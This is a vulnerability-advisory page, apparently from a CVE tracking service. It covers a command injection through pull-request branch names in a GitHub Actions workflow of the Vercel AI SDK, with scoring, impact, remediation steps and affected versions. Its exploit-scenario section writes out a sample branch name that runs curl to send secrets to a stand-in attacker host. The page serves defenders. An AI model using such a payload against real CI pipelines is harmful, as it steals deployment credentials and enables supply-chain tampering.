Skip to main content

Vercel AI SDK CVE-2026-8767

| EUVDEUVD-2026-30714 LOW
OS Command Injection (CWE-78)
2026-05-17 VulDB GHSA-9pj2-3x6v-c3pp
1.3
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Fork target repository
  2. Delivery
    Craft malicious branch name with shell metacharacters
  3. Exploit
    Submit pull request from poisoned branch
  4. Install
    GitHub Actions workflow triggers
  5. C2
    Unsanitized branch name interpolated into shell command
  6. Execute
    Arbitrary code executes on CI runner
  7. Impact
    Exfiltrate secrets or modify build artifacts

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to have authenticated GitHub access sufficient to create pull requests against repositories using vulnerable Vercel AI SDK versions-typically any GitHub user can fork public repositories and submit PRs. The target repository must use the .github/workflows/prettier-on-automerge.yml workflow file from Vercel AI SDK versions ≤3.0.97, and this workflow must be configured to trigger on pull request events (pull_request or pull_request_target). Attack complexity is high (AC:H) because successful command injection depends on the specific shell context and any input validation present in the workflow-the attacker must craft branch names that bypass potential sanitization while remaining syntactically valid Git branch names. Exploitation is limited to CI/CD runner environments rather than production systems, and impact scope is confined to the vulnerable component (CVSS SC:N/SI:N/SA:N), meaning secrets or data accessible only within the CI environment can be compromised, but not necessarily downstream production infrastructure unless CI credentials provide such access. Organizations that do not accept external pull requests or have disabled GitHub Actions for the repository are not exploitable via this vector.

Impact

Despite the low CVSS 4.0 score of 1.3, this vulnerability represents a meaningful supply chain risk for organizations using Vercel AI SDK in development workflows. The low CVSS reflects several limiting factors: high attack complexity (AC:H) requiring the attacker to craft specific branch names that bypass any sanitization, low privileges (PR:L) requiring authenticated GitHub access to submit pull requests, and impacts limited to the CI/CD runner environment rather than production systems. However, successful exploitation grants arbitrary code execution in the CI environment, which commonly has access to secrets, deployment credentials, and source code. The public proof-of-concept (https://gist.github.com/YLChen-007/870bd6966cd84703d91ce54dfea3bdd0) confirms exploitability despite the 'difficult' rating, meaning skilled attackers or researchers can reliably trigger command injection. The vendor's non-responsiveness to disclosure is concerning for patch timeline. Real-world risk is moderate for organizations that accept external contributions via pull requests to repositories using affected Vercel AI SDK versions, as malicious contributors could exfiltrate CI secrets or inject backdoors into build artifacts. For closed-source projects with trusted committers only, risk is substantially lower. EPSS and CISA KEV data are not provided, suggesting no widespread exploitation campaigns detected yet.

Exploit ScenarioDerived

An external contributor forks the Vercel AI SDK repository on GitHub and creates a pull request with a maliciously crafted branch name such as feat/ui$(curl attacker.com/exfil?data=$(cat /tmp/secrets)). When the repository's GitHub Actions workflows trigger on the pull request event, the prettier-on-automerge workflow interpolates the branch name into a shell command without sanitization. The injected payload executes on the CI runner, allowing the attacker to exfiltrate environment variables (potentially including deployment tokens, npm registry credentials, or API keys), modify build artifacts, or establish persistence in the CI environment. Proof-of-concept exploit code demonstrating this attack is publicly available at https://gist.github.com/YLChen-007/870bd6966cd84703d91ce54dfea3bdd0.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 17, 2026

OS command injection in Vercel AI SDK versions up to 3.0.97 allows authenticated remote attackers with pull request creation privileges to execute arbitrary commands on CI/CD runners through malicious branch names. The vulnerability resides in the prettier-on-automerge GitHub Actions workflow, which insecurely interpolates PR branch names into shell commands. A public proof-of-concept exploit exists (disclosed via GitHub Gist), demonstrating feasibility despite CVSS 4.0 rating the complexity as high (AC:H) and exploitability as difficult. The vendor (Vercel) was notified but has not responded, and no patch availability is confirmed from vendor sources at time of analysis.

RemediationAI

No vendor-released patch version has been confirmed at time of analysis-Vercel was contacted during responsible disclosure but did not respond per VulDB submission 811402. Organizations should immediately implement compensating controls: First, audit all GitHub Actions workflows in the Vercel AI SDK repository for instances of unsanitized branch name or pull request title interpolation (search for github.head_ref, github.event.pull_request.head.ref, or similar context variables used in run: blocks without proper quoting). Second, modify the .github/workflows/prettier-on-automerge.yml workflow to sanitize inputs-replace direct interpolation with validated environment variables or use GitHub Actions expressions that automatically escape shell metacharacters. Third, restrict pull request workflow triggers to trusted branches only using pull_request_target with explicit paths and branches filters, and avoid checking out untrusted code in workflows with write permissions. Fourth, apply principle of least privilege to GitHub Actions workflows by using separate tokens with minimal scopes and avoiding storage of production credentials in CI secrets accessible to PR workflows. Note that disabling the prettier-on-automerge workflow entirely eliminates this attack surface but removes automated code formatting functionality. Monitor the upstream Vercel AI SDK repository (https://github.com/vercel/ai) for security advisories and patch releases beyond version 3.0.97. VulDB reference: https://vuldb.com/vuln/364392/cti

Affected VersionsENISA

AI 3.0.93
AI 3.0.96
AI 3.0.1
AI 3.0.10
AI 3.0.2
AI 3.0.78
AI 3.0.85
AI 3.0.50
AI 3.0.59
AI 3.0.27
AI 3.0.25
AI 3.0.8
AI 3.0.71
AI 3.0.17
AI 3.0.24
AI 3.0.69
AI 3.0.62
AI 3.0.57
AI 3.0.58
AI 3.0.63
AI 3.0.10
AI 3.0.97
AI 3.0.44
AI 3.0.91
AI 3.0.68
AI 3.0.36
AI 3.0.32
AI 3.0.64
AI 3.0.45
AI 3.0.38
AI 3.0.80
AI 3.0.21
AI 3.0.29
AI 3.0.4
AI 3.0.2
AI 3.0.81
AI 3.0.42
AI 3.0.51
AI 3.0.57
AI 3.0.84
AI 3.0.59
AI 3.0.60
AI 3.0.47
AI 3.0.92
AI 3.0.54
AI 3.0.93
AI 3.0.7
AI 3.0.52
AI 3.0.69
AI 3.0.54
AI 3.0.38
AI 3.0.68
AI 3.0.79
AI 3.0.55
AI 3.0.14
AI 3.0.15
AI 3.0.40
AI 3.0.28
AI 3.0.74
AI 3.0.64
AI 3.0.39
AI 3.0.22
AI 3.0.4
AI 3.0.37
AI 3.0.74
AI 3.0.23
AI 3.0.20
AI 3.0.95
AI 3.0.45
AI 3.0.80
AI 3.0.16
AI 3.0.94
AI 3.0.31
AI 3.0.89
AI 3.0.34
AI 3.0.7
AI 3.0.83
AI 3.0.23
AI 3.0.66
AI 3.0.49
AI 3.0.70
AI 3.0.40
AI 3.0.49
AI 3.0.48
AI 3.0.25
AI 3.0.24
AI 3.0.1
AI 3.0.44
AI 3.0.89
AI 3.0.61
AI 3.0.19
AI 3.0.76
AI 3.0.94
AI 3.0.6
AI 3.0.86
AI 3.0.67
AI 3.0.39
AI 3.0.5
AI 3.0.11
AI 3.0.75
AI 3.0.28
AI 3.0.33
AI 3.0.77
AI 3.0.77
AI 3.0.35
AI 3.0.46
AI 3.0.55
AI 3.0.31
AI 3.0.35
AI 3.0.3
AI 3.0.71
AI 3.0.30
AI 3.0.58
AI 3.0.11
AI 3.0.83
AI 3.0.13
AI 3.0.56
AI 3.0.81
AI 3.0.41
AI 3.0.63
AI 3.0.48
AI 3.0.53
AI 3.0.67
AI 3.0.17
AI 3.0.34
AI 3.0.41
AI 3.0.9
AI 3.0.88
AI 3.0.96
AI 3.0.12
AI 3.0.3
AI 3.0.91
AI 3.0.46
AI 3.0.66
AI 3.0.43
AI 3.0.87
AI 3.0.15
AI 3.0.60
AI 3.0.87
AI 3.0.27
AI 3.0.18
AI 3.0.0
AI 3.0.56
AI 3.0.47
AI 3.0.18
AI 3.0.51
AI 3.0.92
AI 3.0.50
AI 3.0.73
AI 3.0.90
AI 3.0.88
AI 3.0.43
AI 3.0.33
AI 3.0.85
AI 3.0.95
AI 3.0.73
AI 3.0.37
AI 3.0.5
AI 3.0.8
AI 3.0.32
AI 3.0.26
AI 3.0.42
AI 3.0.90
AI 3.0.72
AI 3.0.78
AI 3.0.72
AI 3.0.19
AI 3.0.0
AI 3.0.53
AI 3.0.16
AI 3.0.62
AI 3.0.13
AI 3.0.36
AI 3.0.29
AI 3.0.14
AI 3.0.82
AI 3.0.22
AI 3.0.79
AI 3.0.70
AI 3.0.84
AI 3.0.76
AI 3.0.86
AI 3.0.65
AI 3.0.52
AI 3.0.20
AI 3.0.65
AI 3.0.82
AI 3.0.30
AI 3.0.61
AI 3.0.75
AI 3.0.9
AI 3.0.21
AI 3.0.26
AI 3.0.12
AI 3.0.6
AI 3.0.97

Affected Packages

euvd ai no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the Vercel AI SDK's GitHub Actions CI/CD workflow configuration. The file .github/workflows/prettier-on-automerge.yml contains a run step that performs unsanitized string interpolation of GitHub pull request branch names into shell commands. CWE-78 (OS Command Injection) occurs when user-controlled data-in this case, the branch name chosen by a contributor-is passed directly to a shell interpreter without proper escaping or validation. GitHub Actions contexts like github.head_ref or github.event.pull_request.head.ref are treated as trusted inputs by many workflow authors, but these values are attacker-controllable when a user creates a pull request from a fork with a specially-crafted branch name. The CPE identifier cpe:2.3:a:vercel:ai:*:*:*:*:*:*:*:* confirms the affected product is the Vercel AI library/SDK itself, not a SaaS platform component. The CVSS 4.0 vector indicates network-based attack (AV:N), high complexity (AC:H), low privileges required (PR:L), and proof-of-concept exploit availability (E:P), with low confidentiality, integrity, and availability impacts (VC:L/VI:L/VA:L) scoped to the vulnerable component only (SC:N/SI:N/SA:N).

Know when Ai gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 1.3 LOW
CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
High
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
May 17, 2026 - 23:22 NVD
MEDIUM LOW
CVSS changed
May 17, 2026 - 23:22 NVD
5.0 (MEDIUM) 1.3 (LOW)

DescriptionCVE.org

A vulnerability has been found in vercel ai up to 3.0.97. Impacted is the function run of the file .github/workflows/prettier-on-automerge.yml of the component PR Branch Name Interpolation. The manipulation leads to os command injection. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitability is considered difficult. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
0.7%
Top 27% exploitable
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.7%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

27
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +6
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy